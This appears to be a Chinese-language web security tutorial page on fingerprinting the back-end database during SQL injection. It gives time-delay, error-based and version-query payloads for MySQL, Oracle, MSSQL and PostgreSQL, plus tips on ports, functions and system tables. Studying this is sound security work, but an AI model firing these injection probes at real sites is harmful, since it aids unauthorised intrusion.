搜索结果

×

搜索结果将在这里显示。

数据库识别

数据库识别

确认了注入点之后,我们需要识别这个web端使用的数据库,因为不同的数据库注入的方式不一样,后期利用的手法和条件也不一样

提示

核心就是利用数据库特有的一些语法或者函数来判断,毕竟要满足该数据库的语法后SQL语句才能正常执行,下面的例子不全面,只给大家提供一个思路,最明显的就是休眠函数

MySQL

空格--空格就是mysql的行内注释,根据具体情况是否添加

描述 语句
sleep函数 id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数 id=1'-BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
版本信息 select @@version
select version()
错误信息 id=1'
特有函数 select connection_id()
select last_insert_id()
select row_count

Oracle

描述 语句
默认表 id=1'UNION SELECT 1 FROM v$version --
select banner FROM v$version
select banner FROM v$version WHERE rownum=1

MSSQL

描述 语句
WAITFOR 函数 page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息(根据返回的错误信息判断) page.asp?id='
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) page.asp?id=@@SERVERNAME
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) page.asp?id=0/@@SERVERNAME
常量 @@pack_received @@rowcount

PostgreSQL

描述 语句
休眠函数 page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a

一些经验

方法 数据库
常用搭配 asp => mssql、access
aspx => mssql
php => mysql、postgresql
java => mysql、oracle、mssql
默认端口 oracle => 1521
mssql => 1433
mysql => 3306
postgresql => 5432
数据库特有函数 pg_sleep() => postgresql
benchmark() => mysql
waitfor delay => mssql
DBMS_PIPE.RECEIVE_MESSAGE() => oracle
特殊符号 ; => 字句查询标识符,postgresql、mssql 默认可堆叠查询
# => Mysql 注释符
特定表名 information_schema => mssql,postgresql,mysql
pg_tables => postgresql
sysobjects => mssql
all_tables,user_tables => oracle
请先 登录 再评论